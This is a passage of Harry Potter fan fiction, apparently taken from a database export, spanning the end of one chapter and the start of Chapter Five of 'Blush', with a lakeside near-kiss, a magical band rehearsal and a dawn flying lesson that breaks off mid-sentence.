down, and rummaged for the food in his pack while \nHermione did the same. They were soon munching on ham and cheese, apples, and \ncookies, gazing contentedly at the giant squid and the deep green mass of forest \nfar beyond the lake. <br><br>Though he had been seething with rage just half an \nhour before, Harry now felt oddly at peace. His heart fluttered in the familiar \nway that it did whenever he was alone with Hermione, but he didn\'t mind so much \nat the moment. He glanced over at Hermione, who was lying back on her elbows \nfinishing an apple, her long brown-gold curls splayed across the grass. She was \nwearing her usual white blouse, grey uniform sweater and grey skirt, but had \nundone her Gryffindor house tie and kicked off her black school shoes. The sun \nwas falling across her face and Harry noticed a faint dusting of freckles across \nher nose and the tops of her cheeks, which were rosy from the crisp breeze. She \nlooked up at him, and he felt his heart thud hard against his sweater. \n<br><br>&quot;Thanks for not being mad at me,&quot; said Harry. <br><br>Hermione averted \nher eyes briefly. &quot;I was mad, at first. But I know why you did it.&quot; \n<br><br>Harry gave his finished apple core a lazy toss; they watched it drop \ninto the shallows of the lake with a satisfying plunk. &quot;I dunno why Ron wants me \nto do this band thing, really. But it\'s Ron, you know, and I -- we -- never get \nto see him anymore.&quot; <br><br>Hermione nodded. &quot;I know. I just worry about you, \nis all. We have so much work this year, and you\'re smart, Harry, and you\'ve been \ndoing well in classes so far, and...&quot; She trailed off apologetically. &quot;Well you \nknow how I am. I worry about that kind of thing.&quot; <br><br>&quot;I do too,&quot; Harry \nadmitted. &quot;I was pretty freaked out about the O.W.L.\'s all summer.&quot; <br><br>&quot;Oh \nHarry, you don\'t need to be <i>that</i> worried!&quot; <br><br>&quot;Well exams don\'t come \neasily for me, like they do for you. If I could play Quidditch for my exams, I\'d \nhave no problem with them.&quot; <br><br>Hermione gave him an earnest smile. &quot;Harry, \nyou know I\'ll always help you with studying. We can work together all term if \nyou like.&quot; <br><br>&quot;That\'d be really nice.&quot; Harry grinned back at her. \n<br><br>Hermione looked down, flushing slightly. &quot;Want to know something, \nthough?&quot; <br><br>&quot;What?&quot; Harry dug around in Hermione\'s pack and brought out the \nlast pumpkin cookie, then broke it in half and offered a piece to Hermione. She \ntook it, then took a deep breath. <br><br>&quot;I wish studying wasn\'t the only thing \nI was good at. I\'ve always wanted to try Quidditch,&quot; Hermione said quietly. &quot;It \nlooks so exciting! I\'m a hopeless chicken at flying, though.&quot; <br><br>Harry \nalmost choked on his last half of pumpkin cookie. &quot;Hermione! Why didn\'t you ever \ntell me?&quot; <br><br>&quot;I -- I thought you\'d laugh.&quot; <br><br>&quot;I\'m not laughing!&quot; \n<br><br>&quot;I think you\'re rubbing off on me, mostly.&quot; Hermione\'s eyes were bright. \n&quot;You\'ve shown me that there are other things in life besides books and classes.&quot; \n<br><br>&quot;Shh! I won\'t tell anyone you said that.&quot; <br><br>Hermione rolled her \neyes and punched him lightly on the arm. <br><br>&quot;Ow.&quot; Harry grinned. \n<br><br>&quot;Really,&quot; she said. &quot;That\'s why I can\'t be mad at you for helping Ron. \nFriends are just more important than homework.&quot; <br><br>Harry\'s heart swelled. \nHe wanted so badly to tell Hermione that her friendship was not like anything \nelse he\'d known, how being near her made him want to lose himself in every bit \nof her, down to the inkstains on her left index finger. <br><br>&quot;Yeah,&quot; he said. \n&quot;They are.&quot; <br><br>Their eyes locked for an infinite second. Harry\'s heart was \npounding again, his head strangely light. <br><br>&quot;I -- I have an idea,&quot; he \nmanaged. <br><br>Hermione blinked. &quot;Oh?&quot; <br><br>&quot;Let me teach you Quidditch.&quot; \n<br><br>Hermione\'s eyes were shining. &quot;Well I\'d love to, but... Harry, I don\'t \nknow, that\'s even more work for you.&quot; <br><br>&quot;It won\'t be. I have to work out \nwhat I\'ll do for the team\'s Quidditch practice anyway, so I have to spend the \ntime training. I can try out my ideas for practice on you. You can be my guinea \npig.&quot; <br><br>&quot;Your guinea pig?&quot; <br><br>Harry grinned at her impishly. &quot;Would \nyou rather be my flobberworm?&quot; <br><br>Hermione gave him a long, deadpan stare. \n&quot;Only if you\'ll be my Blast-Ended Skrewt.&quot; <br><br>Both of them doubled over \nwith laughter. <br><br>&quot;Deal,&quot; said Harry finally, wiping his eyes and mopping \nhis glasses with his sweater. <br><br>Hermione sat up again and hugged her knees \nto her chest. &quot;I like the idea of knowing I won\'t have to go through this term \ncooped up alone in the library.&quot; <br><br>&quot;Me too.&quot; Harry sighed. &quot;Now, the only \nthing I\'ll be dreading will be the Ron Weasley Three-Ring Circus Act.&quot; \n<br><br>Hermione dissolved into giggles again, falling backwards onto the grass. \n&quot;I can\'t <i>believe</i> it,&quot; she laughed. &quot;You were brilliant. The Marauders!&quot; \n<br><br>Harry was suddenly struck with the sheer ridiculousness of what had \nhappened at lunch. He fell back onto the grass next to Hermione, helpless with \nlaughter. They both lay under the trees for a few moments, giggling, the trees \noverhead nodding gently in the breeze. Harry turned his head to look at her and \nsaw that she\'d done the same, her face inches from his, her brown curls mingling \nwith his messy black hair. Their laughter faded; he caught his breath. Time slid \nto a stop. Hermione lay still, her doelike brown eyes fixed on his, her long \neyelashes tipped with gold in the sun. <br><br>Harry felt himself move \nimperceptibly closer and incline his face towards Hermione\'s. Her eyes were \nwide, unreadable. His entire body surged with a single thought. He could smell \nHermione\'s hair, the fresh grass beneath them, a lingering trace of apples and \npumpkin cookies. <br><br>What was he doing? Harry looked away quickly, the shade \ntrees above them partially obscuring the bright robin\'s egg sky. He felt his \ncheeks burn with color. <br><br>Hermione sat up beside him and started to \nscramble to her feet. &quot;It\'s time for class,&quot; she said breathlessly. Harry \nnodded, struggling to his knees, and began shaking out his robe. What was \nhappening? He felt as though six hammers were pounding behind his ribs. His head \nwas whirling. He had been half a breath from doing something completely \nunthinkable. <br><br>He had almost kissed his best friend. <br><br>~ ~ ~ ~ ~ \n<br><br>&quot;Right,&quot; said Ron, looking up as Ginny closed the door of the practice \nroom. &quot;Let\'s get started then!&quot; <br><br>It was a bright Sunday morning, and \nHarry, Ron, and Hermione were seated on folding chairs in a large room with \nshiny wood floors and one wall full of rickety cabinets and shelves. They were \nin an unfamiliar wing of the castle, the Southeast Turret, which housed the \nHogwarts Music and Art departments, a few spare rooms for castle guests, and \nthree rather dilapidated hallways that smelled suspiciously of butterbeer. The \nmusic department was headquartered in a long hallway that curved around one side \nof the turret, with many identical practice rooms radiating from it like slices \nof pie. Professor Trebble, the school\'s quiet, eccentric music professor, had an \noffice at one end of the hallway. He was rarely seen by students outside the \nmusic department, but odd squeaks, warbles, and trills emanated from his office \nat all hours. <br><br>Hermione had insisted on going to the first band practice \nto cheer them on. She hadn\'t said anything to Harry about what had happened that \nafternoon by the lake, but Harry had found himself replaying those few \nbreathless moments over again in his mind all week. Hermione was still acting \nperfectly normally towards him, however, and they had walked together to the \nSoutheast Turret, chatting about their Care of Magical Creatures assignment. \nWhen Harry and Hermione had arrived, they found Ron already rummaging in the \nmusic room cabinets, a variety of strange-looking instruments spread out across \nthe raised platform at the back of the room where a drum set was already \nassembled. They\'d all sat down to wait for Ginny, Harry studying the display of \ninstruments curiously. Most of them looked familiar, but some looked like odd \nhalf-cousins to Muggle instruments, as if someone had cut up an orchestra into \npieces and stuck all the wrong bits together again. <br><br>Ginny entered and \ntook a seat next to them, smiling shyly, and going a bit red as she always did \nwhen Harry smiled back at her. Harry looked from the drum set to Ginny and back \nagain. Tiny, quiet little Ginny Weasley was about to accompany her brother by \nsmacking very loud hollow objects with sticks? <br><br>&quot;Okay.&quot; Ron stood up and \nopened a long case on the floor beside him. He pulled out what looked like a \nbattered electric guitar, bright red with a white faceplate, similar to one \nHarry had once seen in his cousin\'s room before Dudley had smashed it into a \ntelevision in imitation of a Muggle music video. Ron slung the guitar\'s strap \nover his shoulder and pulled his wand out of his pocket. <br><br>&quot;Now you all \nknow that when Muggles use these guitars, they plug them into electric \namplificators.&quot; <br><br>&quot;Amplifiers.&quot; Hermione couldn\'t help herself. Ron shot \nher a reproachful look. <br><br>&quot;Right. Now my dad\'s quite interested in Muggle \nmusic, he showed me how wizards use enchantments to make their instruments sound \nlike electric guitars and ampli-- &quot; He checked himself. &quot;Amps.&quot; <br><br>Ron \ncleared his throat authoritatively and continued. &quot;So this is a muggle guitar \nI\'ve got here, converted to act like a wizard instrument. It\'s a little beat up, \n\'cos it belonged to Charlie first, but it sounds okay. Here\'s how you use it.&quot; \n<br><br>He pointed his wand at the guitar and tapped once. &quot;Amplificatus.&quot; \n<br><br>A few green sparks shot from the guitar with a loud crack; a wisp of \nacrid yellowish smoke curled from the spot where Ron\'s wand had been. There was \nan earsplitting buzz which made Harry and Hermione flinch abrubtly. The buzz \nimmediately quieted to a faint hum. <br><br>Ron gave them an embarrassed grin. \n&quot;It always does that. Works fine once you start it up.&quot; He grasped the neck of \nthe guitar with his free hand. &quot;Now, there are all kinds of spells you can cast \non an enchanted instrument to make it sound different. My dad\'s got a great \ncollection of Muggle music, so I happen to like this one.&quot; <br><br>Ron shook his \nwand once, gave a small flourish, tapped the guitar again, and muttered, \n&quot;Psychodelectus Hendrixis.&quot; <br><br>A tiny jet of green lightning shot from the \nend of Ron\'s wand and onto the guitar strings. The lightning crackled up and \ndown the strings, flared suddenly into a blinding green flash, and blinked out. \nThe guitar was quiet again, still humming faintly. <br><br>&quot;That one\'s named for \na wizard who used to perform in the Muggle world under a fake name,&quot; explained \nRon, ignoring the stunned looks on Harry and Hermione\'s faces. &quot;It was a big \ncontroversy in the Ministry of Magic back then, a wizard performing at Muggle \nfestivals -- &quot; <br><br>&quot;Just play something, Ron!&quot; <br><br>Ginny seemed \nunruffled by this display of bizarre magic and was looking at Ron impatiently. \n<br><br>&quot;All right, all right, I\'m getting there, Gin!&quot; Ron turned back to Harry \nand Hermione. Harry was rooted to his folding chair. He didn\'t think he could \npossibly be more shocked than he was already. <br><br>He was wrong. \n<br><br>&quot;Here we go then.&quot; Ron sighed, put his wand back into his pocket, and \nstarted to play. <br><br>The noise that ripped out of Ron\'s guitar was like \nnothing Harry had ever heard in his life. It was like a violent electrical storm \nstriking enormous waves on a beach, soaring up into an explosion of stars and \ncomets and flaming golden hawks. Ron\'s fingers flew up and down the guitar\'s \nneck as if commanded by some alien force. His entire body was rocking in time \nwith the beat he\'d just conjured from nowhere, his face at first contorted with \nconcentration, but then ecstatic and lost in the music. He sailed through the \nblistering melody twice, kicked into the riff a third time and began to sing \nalong, his voice reedy and rough but a perfect fit for the barely controlled \nchaos erupting from the red guitar. <br><br>&quot;Purple haze, all in my brain... \nLately things don\'t seem the same. Acting funny, but I don\'t know why... \'Scuse \nme while I kiss this guy!&quot; <br><br>Ginny broke into uncontrollable giggles. \nRon\'s guitar made an undignified squawk and the wave of music stopped abruptly. \nRon stared at Ginny. &quot;What?&quot; <br><br>Ginny rolled her eyes. &quot;It\'s kiss the \n<i>sky</i>.&quot; <br><br>&quot;Oh. Er... right.&quot; Ron flushed scarlet. <br><br>Harry \nrealized he hadn\'t been able to form a single coherent thought since Ron had \npicked up his guitar. He felt like his jaw was hanging so far open he\'d never be \nable to close it again. Out of the corner of his eye he saw that Hermione was \nstruck with a similar slack-jawed expression. <br><br>Ron shifted from one foot \nto another. &quot;Well. So.... um. What do you think?&quot; <br><br>Hermione gulped. \n<br><br>Harry blinked. He tried to say something, but the only noise that came \nout of his mouth was &quot;Gaah.&quot; <br><br>Ron fidgeted with the guitar strap. &quot;It\'s \nalright. You\'re my friends, you can tell me if I\'m no good. I\'ve never had \nlessons.&quot; <br><br>Harry found he had use of his voice again. <br><br>&quot;For fuck\'s \nsake, Ron,&quot; he croaked. &quot;That was bloody fantastic.&quot; <br><br>Ron\'s face lit up \nlike one of Professor Flitwick\'s Christmas lights. &quot;Honest?&quot; <br><br>&quot;Do I look \nlike I\'m putting you on? I\'m trying to find where my brain\'s gone because it \nabout blew through the top of my head when you started playing that thing.&quot; \n<br><br>Ron was beaming, heartily embarrassed. &quot;It\'s just a hobby, really. \nY\'reckon Emma will think I\'m any good?&quot; <br><br>&quot;Ron.&quot; Harry looked at him \nfixedly. &quot;If Emma doesn\'t eat her own socks when she hears you play, I\'ll kiss \nMoaning Myrtle.&quot; <br><br>Ginny burst into giggles again. Hermione was still \nstaring at Ron as if he\'d just announced his own wedding to Professor Snape. \n<br><br>&quot;One thing, though,&quot; Harry said gravely. &quot;I might have to kill you \nbefore we go any further.&quot; <br><br>&quot;What? Why?&quot; <br><br>&quot;For not telling me \nabout this for five whole years, you ruddy git!&quot; Harry thundered. <br><br>Ginny \nwas still laughing; Ron turned even more red. &quot;Er... Sorry about that. We\'ve \nalways been, you know, kind of... busy.&quot; <br><br>The practice room door flew \nopen with a bang, and they all jumped. Ron stumbled backwards and looked around \nwildly for the intruder. <br><br>&quot;Sorry, Ron, sorry, did I miss anything?&quot; \n<br><br>It was Neville Longbottom. Ron broke into a grin as Neville\'s round face \nappeared in the doorway, flushed and breathing hard. Neville trotted into the \npractice room, a large, misshapen carrying case slung awkwardly over his \nshoulder which caused him to stumble several times on the way. <br><br>&quot;I \ncouldn\'t find the Southeast Turret,&quot; Neville panted, slinging his lumpy burden \nonto the floor and pulling up a folding chair. &quot;I wound up in the Astronomy \nTower, but Seamus was in there with some girl, and I think I startled them \nsomething awful. I hope he forgives me.&quot; <br><br>Harry raised an eyebrow at Ron. \nNeville, in the band? Harry wasn\'t aware Neville had any talents besides \nherbology and forgetting the Gryffindor passwords. Harry reminded himself never \nagain to assume he knew everything about his friends after what had happened \nthis morning. <br><br>&quot;It\'s no problem, Neville, we were just getting started,&quot; \nsaid Ron. &quot;Harry, Neville and I were talking about the contest last night, and \nit turns out he plays the Flanimus. I\'ve asked him to join us.&quot; <br><br>&quot;The \nwhat?&quot; Harry was beginning to take these surprises in stride, but he goggled as \nNeville opened his carrying case and pulled out a truly bizarre object. \n<br><br>It looked like an old-fashioned electric guitar, made of wood, with a \nwhite faceplate and a yellow sunburst pattern on the body. All similarities to a \nregular guitar ended at the neck, however, which was twisted like a tuba into \nintricate loops. Neville picked up the instrument and Harry saw that the twisted \nneck was like a strange molded strap, which coiled around Neville\'s shoulders \nand waist. Neville patted the instrument, which Harry assumed was a Flanimus, \npulled his wand out of his pocket, and looked around expectantly. &quot;Are we \nstarting then?&quot; <br><br>&quot;Just a minute, Neville,&quot; said Ron. &quot;Let me get Harry \nset up. Why don\'t you and Ginny get ready? Hermione, you sure you don\'t want to \ntry this?&quot; <br><br>&quot;Oh, quite sure,&quot; said Hermione quickly. &quot;Happy to watch!&quot; \n<br><br>Harry gave her a nervous grin as he followed Ron to the platform, where \nRon had laid out the other instruments. Hermione gave him a tentative thumbs-up \nin return. <br><br>&quot;Now these four here are bass guitars,&quot; said Ron as Harry \nleaned over to study the instruments lined up on the platform. &quot;I took out these \ntwo Fatellos also, and this Robotuss, but I\'m thinking you\'ll like the regular \nbass better, \'cos it\'s more like a Muggle instrument.&quot; <br><br>Harry nodded. \n&quot;I\'ll trust you on this one.&quot; <br><br>&quot;So just pick one you like, and I\'ll \nenchant it for you until you learn to do it yourself.&quot; <br><br>Harry studied the \nfour bass guitars on the platform. Two of them were extremely heavy-looking, \neach almost the size of a first-year student; Harry couldn\'t imagine struggling \nunder their weight in front of the whole school. The third was a horrendous pea \ngreen color and seemed to be the shape of a large daisy. Thankfully, the fourth \nwas a very plain dark blue and nearly guitar-shaped, though a little larger. \nHarry reached for it without hesitation. <br><br>&quot;Good choice,&quot; said Ron. \n<br><br>Harry picked up the bass and saw that it had a shoulder strap like Ron\'s \nguitar. He slung it over his head and adjusted it so that the bass hung at the \nright height for him to play the strings. <br><br>&quot;But Ron,&quot; he muttered. &quot;I \ncan\'t read music or anything.&quot; <br><br>&quot;You don\'t need to,&quot; Ron said breezily. \n&quot;You just think what you want to play, and it sort of happens. It\'s part musical \ntalent, but partly how strong you are at magic. Knowing you,&quot; he said, giving \nHarry a wry smile, &quot;you\'ll do just fine at the second part.&quot; <br><br>Ron pulled \nout his wand. &quot;Now, you see if you can turn that on yourself.&quot; <br><br>Harry \npulled out his own wand, pointed it at the bass, and muttered, &quot;Amplificatus.&quot; \nThe instrument gave a relutcant twitch, then began humming imperceptibly. \n<br><br>&quot;Good,&quot; said Ron approvingly. &quot;Now, this next charm is a little harder, \nbut I\'m sure you can do it with practice. The trick is learning all the \ndifferent charms to change the sound of your instrument and then switching them \nwhile you\'re playing. All the really great wizard musicians can do that. I\'m \nworkin\' on it meself, requires attatching your wand to the instrument somehow. \nIt\'s quite tricky, I shouldn\'t think you\'ll need to get that far.&quot; <br><br>Harry \nshook his head. &quot;No, I\'m just shooting for standing in front of the school \nwithout looking like an enormous idiot.&quot; <br><br>Ron grinned. &quot;Okay then. Here\'s \nthe charm I was thinking you could use.&quot; He waved his own wand at Harry\'s bass, \nthen touched it and said clearly, &quot;Thundarus Lesharat.&quot; <br><br>Glowing purple \nooze spread from the tip of Ron\'s wand and seemed to engulf the bass. Harry \nmoved his hand away quickly as the ooze spread over the instrument, but Ron \nchuckled. &quot;It\'s alright. Just a spell, it\'s not real.&quot; The thick purple glow \nfaded as he spoke and the bass rumbled contentedly before quieting again to a \nhum. <br><br>&quot;I like that one,&quot; grinned Harry. <br><br>&quot;Okay, now think about \nwhat you\'re going to play. Try this.&quot; Ron put away his wand, pulled a small \nguitar pick out of his pocket, and played a slow melody on his guitar. Harry \nconcentrated, trying to memorize the melody as Ron was playing. Ron stopped \nabruptly and tossed him a pick. &quot;Let\'s hear it then.&quot; <br><br>Harry slowly \ntouched the pick to the strings of the bass. The bass gave a great intimidating \nrumble. Um, Harry thought. Right. What was that tune again? He closed his eyes \nand thought as hard as he could, trying to remember the notes Ron had played. \nThe bass was quiet. Just as he was about to open his eyes and admit defeat, he \nheard Ron play the notes again. That\'s easy, said a voice in Harry\'s head, and \nbefore Harry knew what was happening, the bass was booming the same notes in \naccompaniment. <br><br>&quot;Great!&quot; beamed Ron. &quot;That\'s really good, Harry, I knew \nyou\'d get it fast.&quot; <br><br>Harry looked down. His fingers were playing along \nwith the notes he\'d heard in his head. He wasn\'t quite sure how it had happened. \n&quot;It was almost like I could hear someone in my head talk back to me,&quot; he said, \npuzzled, uncurling his fingers from the instrument. <br><br>&quot;Oh yeah,&quot; said Ron. \n&quot;That\'ll be the bass. You\'ve got to work together with your instrument, of \ncourse. Playing with other people is sort of the same. Let\'s try something with \nGinny and Neville.&quot; <br><br>Harry doggedly climbed up onto the platform after \nRon, where Ginny and Neville were already setting up. Neville seemed to be \nhunting around for something on the ground. <br><br>&quot;I\'ve lost me pick,&quot; said \nNeville, peering at the floorboards. <br><br>&quot;Don\'t worry, Neville, there\'s a \nwhole jar of them over here,&quot; said Ginny, waving at a shelf with her drumstick. \n<br><br>Ron waited until Neville had found a new pick, then addressed the three \nof them. &quot;Okay. Now to play together, we\'ve just got to do a quick charm to get \nour instruments in tune. It\'s \'Harmonius,\' Harry. We\'ll just say it together on \nthe count of three. Ready? One, two, three.&quot; <br><br>&quot;Harmonius,&quot; they chorused. \n<br><br>There was a melodic hum as a tiny golden stream of light instantly \nmaterialized and darted back and forth between the four of them, twining around \nNeville\'s Flanimus, bouncing across Ginny\'s drums, ricocheting from Harry\'s bass \nand finally curling itself around Ron\'s guitar, where it vanished. \n<br><br>&quot;Ooo,&quot; Hermione said reverently from her seat across the room. \n<br><br>&quot;I told you this would be fun,&quot; Ron mumbled to Harry. <br><br>&quot;Let\'s do \nSgt. Pepper,&quot; said Ginny, who was bouncing in her seat with excitement. \n<br><br>&quot;I know that one,&quot; beamed Neville proudly. &quot;That\'s one I haven\'t \nforgotten.&quot; <br><br>Harry knew it too. He had lived in the Muggle world for \nfifteen years, after all, and he was now quite thankful for all the times he\'d \nrescued Dudley\'s discarded CD\'s and records from the trash. This album was one \nof his favorites, though it felt quite odd to be discussing it at Hogwarts. \n<br><br>&quot;All right,&quot; said Harry. &quot;One minute, let me think about how the first \nsong goes.&quot; <br><br>&quot;You won\'t need to think once we start,&quot; said Ron. &quot;Ready? \nOne, two, three, four.&quot; <br><br>A wave of noise exploded from Ron, Ginny, and \nNeville. It was tremendous. Ginny was pounding the drums like a whirlwind, her \nlong red hair flying in all directions as her head bobbed in time to the music, \nthe massive beat thundering somehow from her tiny form as her drumsticks flashed \ngold in her hands. Neville\'s instrument was blaring like a guitar and a horn \nsection all at once, and looked nearly impossible to play. His face was red with \nconcentration as he groped for different parts of the Flanimus, reaching for a \nlong silver tube which hung from the neck and blowing into it every few seconds. \nAnd Ron was soaring again, making a fantastic noise which somehow merged with \nthe other sounds and drove them forward together. Harry put his pick to his \nbass, his mind blank. <br><br>It\'s me again, he thought stupidly at the bass. \nAnd, er, I know this song. It goes like this. <br><br>He thought through the \nopening notes of the melody. Nothing happened. <br><br>Listen, said the voice in \nhis head, which Harry now recognized as his bass. Listen to the others. Your \nmagic is strong. It\'s too strong for me to hear anything through it. \n<br><br>Harry closed his eyes and listened, attempting to quiet his own \nthoughts. He felt the great noise in the room assaulting him like a solid wall \nof music. But it wasn\'t quite a wall, he thought. If he listened closely enough, \nhe could hear what each person was playing. He could hear all the parts of the \nwhole. <br><br>Now find your place, said the voice. <br><br>Harry could suddenly \nalmost hear, through the distracting music, a noise that was missing. It was \nsimple, but solid, like an anchor. And just as soon as he heard the noise, he \nrealized it was coming from him. His eyes flew open. <br><br>Ron was grinning \nenormously at him. Harry was plunking a steady melody on the bass, almost afraid \nto move. He couldn\'t help himself and grinned back triumphantly. The sound they \nwere producing sounded almost exactly like the song from the album Harry \nremembered. Harry could tell that what he was playing was nothing exciting \ncompared to what the other three were doing, but he was doing his job \nnonetheless. He didn\'t want to lose his part now. Relax, said the voice in his \nmind. <br><br>Ron was dancing in place to the music, and to Harry\'s great \ndelight, Neville was bobbing up and down as well. He felt his own knees loosen \nand his head start to bob back and forth. He almost couldn\'t help it. Ron turned \nto face them and began to sing roughly, &quot;It was twenty years ago today...&quot; \n<br><br>Now that Harry knew what enchanted instruments were like, he couldn\'t \nbelieve Ron could sing and play one at the same time. He was so involved in the \nmusic that he came to his senses with a painful jolt when the song came to an \nend. <br><br>Harry blinked and looked around. Ron, Neville, and Ginny were \nsmiling jubilantly at each other. Hermione looked thunderstruck. She was beaming \nat him from her folding chair. Harry hopped off the platform and hurried over to \nher. <br><br>&quot;That was amazing,&quot; she said excitedly as he reached her side. &quot;You \ndid it, Harry! I can see why Ron wanted to enter the contest!&quot; <br><br>&quot;I know,&quot; \nsaid Harry. &quot;I can\'t believe it!&quot; <br><br>&quot;Oi, Harry!&quot; called Ron. &quot;Come on back \nup here, will you? We\'re going to try it again.&quot; <br><br>Hermione\'s eyes were \nshining. Harry looked at her, her soft curls in disarray, her face glowing with \npride, and was suddenly overcome by the strange feeling he\'d had just a few days \nago by the lake. His stomach flopped over twice. <br><br>&quot;Thanks for watching \nus, Hermione,&quot; he said quietly. <br><br>Hermione flushed. &quot;Oh Harry,&quot; she \nmurmured. &quot;Don\'t be silly.&quot; <br><br>&quot;Come on, Harry!&quot; called Ginny, breaking \ninto a quick drum fill with a flourish. <br><br>&quot;Right,&quot; breathed Harry. He \nturned, his stomach still quivering, and walked back to the platform with his \nbass. <br><br>She\'s cute, said the now-familiar voice in his head. <br><br>Oh \nshut up, thought Harry, grinning and turning pink in spite of himself. \n<br><br><br><br>* * * * * <br><br>= the chapter has now ended = <br><br>Review! \n\n'),
	(71, 5, '\n\n\nTitle: Blush<br>Author: Granger<br>Author Email: ali_granger@yahoo.com<br>Category: \nRomance, Humour<br>Keywords: Harry, Hermione, Ron, Quidditch, Fifth \nYear<br>Spoilers: All four books<br>Rating: PG-13<br>Summary: Harry returns from \na summer at Quidditch Camp to find his best friends... transfigured. Love, lust, \nmagic, music, and ale abound. And we always knew Draco was a rock \nstar.<br>Pairings: H/H, Ron/Other, maybe more...<br>Author\'s note: All music \nquoted in this story is highly recommended for listening while reading. This \nstory is dedicated to anyone who\'s ever fallen for their best \nfriend.<br><br>Disclaimer: This story is based on characters and situations \ncreated and owned by JK Rowling, various publishers including but not limited to \nBloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. \nNo money is being made and no copyright or trademark infringement is intended. \n<br><br>* * * * * <br><br><i>and a long forgotten fairytale is in your eyes \nagain<br>and i\'m caught inside a dream world where the colors are too \nintense<br>and nothing is making sense</i> <br><br>- &quot;long forgotten fairytale,&quot; \nmagnetic fields <br><br><br><br><b>Blush : Chapter Five</b> <br><br>The rest of \nthe rehearsal was decidedly more difficult. Harry, emboldened by his initial \nsuccess, found that any overconfidence on his part usually resulted in his bass \nerupting in a loud &quot;BWAAAA&quot; and quitting right in the middle of the second \nverse. The other instruments, enchanted to play together with Harry\'s, would \nthen emit similar noises and the song would shriek to a halt like a hippogriff \nin mating season. <br><br>Ron then attempted to teach Harry, Neville, and Ginny \nhow to harmonize with him on the chorus of Sgt.Pepper. This was a resounding \ndisaster. Ginny could sing rather well, and Neville\'s voice was quiet and \npleasant enough, but Harry felt hopeless. His own voice wasn\'t too offensive, \nbut as soon as he opened his mouth, any memory of the part he was supposed to \nsing flew right out of his head, usually to the great amusement of his bass. Ron \nhad them try singing without the added distraction of playing their instruments, \nbut the best Harry could manage was a low mumble, his face burning pink as \nHermione looked on, biting her lip and trying not to giggle at their efforts. \n<br><br>&quot;Alright, no singing for now then,&quot; said Ron at last, as Harry breathed \na massive sigh of relief and ran a hand through his hair, which was now sticking \nup mutinously in all directions. He tried to ignore his bass, which he had \nshouldered again, as it was now chuckling softly in his head. &quot;Once more from \nthe top, and we\'ll break for lunch.&quot; <br><br>~ ~ ~ ~ ~ <br><br>One rosy morning \na few days after rehearsal, Harry woke early and stumbled blearily out of bed on \nhis way to Quidditch training. The sun was just rising, and the forest outside \nthe dormitory window was awash in misty hues of pink and purple as Harry fumbled \nfor his toothbrush and set off for the boys\' bathroom down the hall. What he saw \nwhen he opened the dormitory door was something of a shock. <br><br>Hermione was \nalready on her way downstairs, wearing not her usual uniform, but sweatpants, a \nlongsleeved t-shirt, and tennis shoes, her long curls gathered into a messy \nponytail. Harry blinked stupidly and pushed his glasses up his nose, making sure \nhe hadn\'t hallucinated the scene in a fog of early morning grogginess. Hermione \nturned quickly at the sound of the door opening, and seemed both relieved and \nnervous to see that it was Harry. <br><br>&quot;Oh, good morning!&quot; she said briskly. \n&quot;I was hoping you\'d be up. Are you going to practice Quidditch?&quot; <br><br>&quot;Well, \nyeah,&quot; Harry said. <br><br>Hermione hesitated. &quot;I was just -- going to ask, I \nmean, if it would be okay -- &quot; <br><br>Harry blinked at her again, and suddenly \nit dawned on him. Hermione was really going to take him up on his offer to give \nher flying lessons. <br><br>&quot;You want to come along today?&quot; he asked \nincredulously. <br><br>Hermione looked down. &quot;If you don\'t mind.&quot; <br><br>&quot;Not \nat all,&quot; said Harry, grinning. <br><br>&quot;Oh, thank you!&quot; Hermione said, her face \nbreaking into a grateful smile. Her eyes flicked over Harry as if she had only \njust noticed what he was wearing; her cheeks turned faintly pink. &quot;Are you \ngetting ready then?&quot; <br><br>Harry was suddenly aware that he was clad only in \nhis striped boxers. <br><br>&quot;Uh, yeah,&quot; he said, feeling his ears burn. \n<br><br>&quot;Okay. Could you -- hurry up a bit?&quot; <br><br>&quot;Er,&quot; began Harry, \nreddening. <br><br>&quot;I just don\'t want to lose my nerve,&quot; Hermione said quickly. \n<br><br>Harry grinned again. &quot;Right,&quot; he said, shuffling into the bathroom, \nwhere he promptly dunked his head under a faucet and tried not to think about \nwhy his heart was beating so fast. <br><br><br><br>The two of them set off \nacross the dewy grass outside the castle just as the sun was beginning to creep \nover the treetops of the Forbidden Forest. Harry, in his dark crimson practice \nrobes, had his Firebolt slung over one shoulder; Hermione kept glancing at it \nnervously as they walked to the field together, leaving twin sets of footprints \nin the dew. Harry was trying to review the parts of the week\'s practice that he \ncould show Hermione, but his glance kept wandering to her as she walked by his \nside, shivering slightly in the morning chill, her eyes alight with excitement. \n<br><br>Harry led them to the Gryffindor locker room, where he rummaged in a \nstorage locker to find a set of Angelina Johnson\'s old grey practice robes, a \nspare Nimbus 2000, and a case of Quidditch balls. He had initially thought of \nletting Hermione use his Firebolt, as it was very intuitive to fly; it was also \nfrighteningly fast, however, and he decided a Nimbus might be less of a scare. \nHarry emerged from the messy locker and draped the practice robes around \nHermione\'s shoulders; she blushed and murmured her thanks, hugging them tightly \nagainst the cold. He handed her the Nimbus, which she shouldered awkwardly, and \nthen strode to the other end of the locker room, taking his wand from his \npocket. &quot;Alohomora,&quot; Harry muttered, and the double doors flew open to reveal \nthe Quidditch pitch, completely deserted except for a few birds searching for \ntheir breakfast of worms among the short grass. <br><br>&quot;Oooh,&quot; said Hermione. \n<br><br>Harry grinned. He shouldered his Firebolt again, picked up the case of \nballs, and led Hermione out onto the field, secretly thrilled at the look of awe \non her face. She\'d been on the Quidditch pitch many times, but always as a \nspectator, and she\'d never walked out of the locker room. The view of the pitch \nand the bleachers from the locker room doors never failed to give Harry a surge \nof excitement, even though he\'d seen it countless times by now; clearly Hermione \nwas feeling something similar. <br><br>&quot;Okay,&quot; Harry said as they reached the \ncenter of the field, his heart beating a bit faster than usual. &quot;Now, you \nremember the basics from Madam Hooch\'s first class?&quot; <br><br>Hermione nodded, \nher eyes wide. Harry set his own broom down on the grass. He\'d have to show her \nproper form. His heart skipped once at the idea. He gestured at her to set down \nher broom. <br><br>Hermione lay her broom on the grass, put one hand over it, \nand said firmly, &quot;Up.&quot; The broom flew into her hand. She gave Harry a proud \nsmile. <br><br>&quot;That\'s great,&quot; Harry smiled back. &quot;Now climb on.&quot; <br><br>&quot;This \nis the part I was never very good at,&quot; Hermione muttered, slinging one leg \nawkwardly over the hovering broomstick and fumbling with Angelina\'s long robes. \n<br><br>&quot;Okay, I can help you here.&quot; Taking a deep breath, Harry walked behind \nHermione, straddled the broom behind her, put his hands on her shoulders, and \npushed them down gently. He reached around her, showing her how to hold her 